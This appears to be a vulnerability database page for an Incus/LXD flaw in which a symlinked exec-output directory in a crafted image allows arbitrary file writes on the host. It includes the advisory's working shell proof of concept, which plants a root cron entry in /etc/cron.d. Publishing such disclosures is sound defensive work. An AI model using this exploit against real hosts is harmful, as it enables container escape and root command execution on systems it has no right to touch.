CVE-2026-48750
JSON

9.9critical

Incus has an arbitrary file write on host via `exec-output` symlink in crafted image

Severity
9.9critical CVSS:3.1 by GitHub_M
Exploit likelihood
1.11% (higher than 66% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-73hr-m85f-64v9GO-2026-5801

Description

Incus is a system container and virtual machine manager. Prior to version 7.2.0, the `record-output` parameter of the `/instances/$name/exec` endpoint stores the output of the command in the `exec-output` directory of the instance. If `exec-output` is a symlink, file named `exec_UUID.stdout` and `exec_UUID.stderr` can be written to an arbitrary location where the `.stdout` file will contain arbitrary content. This behavior can be abused for arbitrary command execution. Version 7.2.0 contains a patch.

Affected

Product or packageVersionsReported by
lxc incus< 7.2.0CVE List
canonical lxd>= 4.0.0, < 4.0.11, >= 5.0.0, < 5.0.7, >= 5.1.0, < 5.21.5, >= 6.0.0, < 6.9.0CVE List
github.com/lxc/incus/v7/cmd/incusd (Go)before 7.2.0GitHub Advisory Database
github.com/lxc/incus (Go)all versionsGo Vulnerability Database
github.com/lxc/incus/v6 (Go)all versionsGo Vulnerability Database
github.com/lxc/incus/v7 (Go)before 7.2.0Go Vulnerability Database

All scores

GitHub_M9.9critical CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
GitHub9.9critical CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Classification

CWE-73

SSVC (CISA-ADP): exploitation none, automatable no, technical impact total.

What each source says

CVE List

Incus is a system container and virtual machine manager. Prior to version 7.2.0, the `record-output` parameter of the `/instances/$name/exec` endpoint stores the output of the command in the `exec-output` directory of the instance. If `exec-output` is a symlink, file named `exec_UUID.stdout` and `exec_UUID.stderr` can be written to an arbitrary location where the `.stdout` file will contain arbitrary content. This behavior can be abused for arbitrary command execution. Version 7.2.0 contains a patch.

GitHub Advisory Database
Summary

The record-output parameter of the /instances/$name/exec endpoint stores the output of the command in the exec-output directory of the instance. If exec-output is a symlink, file named exec_UUID.stdout and exec_UUID.stderr can be written to an arbitrary location where the .stdout file will contain arbitrary content. This behavior can be abused for arbitrary command execution.

Details

When an image is unpacked, top-level symlinks are extracted as is; allowing for exec-output to be placed on disk. In instance_exec.go, os.Mkdir continues of exec-output exists and os.OpenFile follows the exec-output symlink.

PoC

Below, we place the exec_UUID.stdout file in /etc/cron.d on the host for arbitrary command execution.

#!/bin/sh
# usage: $0 existing-imagefp
set -eu

basefp="${1}"

die() {
        printf '%s' "${@}" >&2
        exit 1
}

command -v curl >/dev/null 2>&1 || die 'error: curl not found\n'
command -v python3 >/dev/null 2>&1 || die 'error: python3 not found\n'

tmpdir=$(mktemp -d)
cleanup() {
        rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP


# insert exec-output symlink

incus image export "${basefp}" "${tmpdir}/img"

mkdir "${tmpdir}/repack"
cd "${tmpdir}/repack"

xz -cd "${tmpdir}/img" | tar -f- -vx

rm -rf exec-output
ln -s /etc/cron.d exec-output

tar -f- -c * | gzip -c9 >"${tmpdir}/img"

cd - >/dev/null
incus image import "${tmpdir}"/img* --alias afw-exec-output


# Launch container, exec with record-output via REST API
incus launch afw-exec-output afw-exec-output
incus wait afw-exec-output ip

OP=$(curl -s --unix-socket /var/lib/incus/unix.socket \
  -X POST -H 'Content-Type: application/json' \
  -d '{"command":["/bin/sh","-c","echo * * * * * root id'"'>'"'/afw-exec-output"],"record-output":true}' \
  "lxd/1.0/instances/afw-exec-output/exec" | python3 -c "import sys,json;print(json.load(sys.stdin)['operation'])")

curl -s --unix-socket /var/lib/incus/unix.socket "$OP/wait?timeout=30" >/dev/null

#find /etc/cron.d/exec_* -exec cat {} \;
Impact

Constrained file creation in an arbitrary directory on the host via via an unsanitized symlink; possibly leading to command execution.

Go Vulnerability Database

Incus has an arbitrary file write on host via exec-output symlink in crafted image in github.com/lxc/incus

NVD (es)

Incus es un gestor de contenedores de sistema y máquinas virtuales. Antes de la versión 7.2.0, el parámetro 'record-output' del punto final '/instances/$name/exec' almacena la salida del comando en el directorio 'exec-output' de la instancia. Si 'exec-output' es un enlace simbólico, los archivos llamados 'exec_UUID.stdout' y 'exec_UUID.stderr' pueden escribirse en una ubicación arbitraria donde el archivo '.stdout' contendrá contenido arbitrario. Este comportamiento puede ser abusado para la ejecución arbitraria de comandos. La versión 7.2.0 contiene un parche.

References

Sources

SourceRecordLicence
CVE ListCVE-2026-48750 changed 2026-11-05CVE Terms of Use
GitHub Advisory DatabaseGHSA-73hr-m85f-64v9 changed 2026-11-06CC-BY-4.0
Go Vulnerability DatabaseGO-2026-5801 changed 2026-07-07CC-BY-4.0
NVDCVE-2026-48750 changed 2026-11-06Public domain